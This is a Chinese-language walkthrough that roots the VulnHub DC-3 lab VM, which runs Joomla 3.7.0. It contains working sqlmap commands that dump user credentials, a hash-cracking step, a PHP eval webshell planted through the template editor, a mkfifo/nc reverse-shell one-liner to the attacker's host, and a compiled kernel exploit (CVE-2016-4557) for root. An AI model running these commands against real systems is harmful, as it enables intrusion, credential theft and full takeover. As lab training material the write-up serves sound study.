下载靶场环境
靶场下载地址:
https://www.vulnhub.com/entry/dc-32,312/
(插入DC-3后右键设置将网络适配器中的网络连接改为NAT)
打开虚拟机并输入账号密码(并打开DC-3)
一、信息收集:寻找靶机真实IP
直接用nmap -sP 192.168.241.0 /24
通过该代码得出靶场真实IP为192.168.241.130
二、信息收集:探端口及服务
nmap -A -p- -v 192.168.241.130
发现开放了80端口,存在web服务,Apache/2.4.18,CMS为Joomla
使用火狐打开如下图页面
http://192.168.241.130
他告诉我们这次DC-3实战只有一个目标获得root权限
三、利用JoomScan进行扫描获取后台地址
apt install joomscan(下载安装)
下载完成之后joomscan --url http://192.168.241.130
进行查询版本号
四、知道了joomla cms版本为3.7.0
http://192.168.241.130/administrator/
用whatweb探测站点信息
whatweb -v 192.168.241.130
我们前面已经知道了CMS是joomla,并且知道了后台地址,针对于这一个靶场这一步没有任何意义,这里只是提供一个思路,目录扫描,这里就不拓展了。
nikto --url http://192.168.241.130/
五、查找漏洞发现存在SQL注入
我们前面知道了CMS为joomla,版本为3.7.0
使用searchsploit检查到有对应的漏洞
searchsploit joomla 3.7.0
我们发现有一个SQL注入,还存在一个XSS
可以看一下这个漏洞的提示信息
searchsploit -m 42033.txt
cat 42033.txt
六、我们看到了POC,我们验证一下,把localhost修改为我们的靶机IP就ok
看到提示,数据库语句错误,说明进行了拼接,存在SQL注入
1.跑出所有数据库
sqlmap -u "http://192.168.241.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch
扫描结果
成功把数据库跑出来了
2.获取当前数据库的名字joomladb
sqlmap -u "http://192.168.241.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch
3.sqlmap -u "http://192.168.241.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch
4.获取joomladb的users表的字段名
sqlmap -u "http://192.168.241.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns
第一个选项,直接回车使用默认的“Y”
第二个选项,使用“y”,不要使用默认的,不然会出错
第三个选项随意
第四个选项使用10线程(加载时间过长,请耐心等待)
终跑出6个字段
5.获取目标字段username和password
sqlmap -u "http://192.168.241.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch
获得结果如下
拿到一个用户名和加密的密码
七、利用john爆破密码snoopy
创建一个1.txt,把加密的密码字段写入
使用john破解出admin密码是snoopy
八、利用获取到的账号密码进行登录
http://192.168.241.130/administrator/
admin/snoopy
登陆成功
1.上传webshell
发现一个上传点
2.点击Beez3 Details and Files进入
3.点击new files
这里我们发现可以上传文件,考虑上传木马,也可以创建文件进行编辑
要上传木马,我们先要找到当前文件所在的目录
4.http://192.168.241.130/templates/beez3/html/(查看HTML文档,由于我之前创建过所以多了一个shell.php)
5.回到刚才的页面点击new file
在html下创建一个php文件,名字叫做shell
<?php
echo ("密码是 a");
@eval($_REQUEST [a]);
?>
再次访问http://192.168.241.130/templates/beez3/html/
发现多了一个shell.php文件
6.访问webshell,得到我们设置的会先内容,文件上传成功
http://192.168.241.130/templates/beez3/html/shell.php
九、蚁剑管理webshell
右键添加数据
1.右键进入虚拟终端执行whaomi查询我权限,是www-data权限
2.反弹shell到kali
蚁剑看到的终端没有kali清晰,所以反弹一个shell到kali
nc -lvvp 1234
3.靶机连接
进入蚁剑虚拟终端输入(本机IP)
nc -e /bin/bash 192.168.241.128 1234
发现-e参数不可用
4.使用如下目录连接
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.241.128 1234 >/tmp/f
十、创建交互式shell
经常用shell的都知道这个shell不好用,我们建立一个交互式shell
常用的就是python创建交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
使用辅助脚本发现提权漏洞
1.下载辅助脚本Linux-Exploit-Suggester.sh
下载地址:
https://github.com/mzet-/linux-exploit-suggester
2.上传辅助脚本
我们直接在蚁剑中上传(右键进行上传文件)
上传成功
3.发现漏洞
ls -l linux-exploit-suggester.sh
发现没有执行权限,我们给他加个执行文件
chmod +x linux-exploit-suggester.sh
执行脚本
./linux-exploit-suggester.sh
发现很多可利用漏洞
十一、使用辅助脚本提权
1.获取提权脚本
上面发现了很多漏洞,这里我们选取一个进行提权
挑选CVE-2016-4557
在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载
也可以去searchsploit里面去看看
可以使用下面地址直接下载
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/blob/main/bin-sploits/39772.zip
十二、提权
解压文件
cd 39772
Ls
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
执行完之后,提权成功
获得root权限
十三、发现the-flag.txt
ls
cat the-flag.txt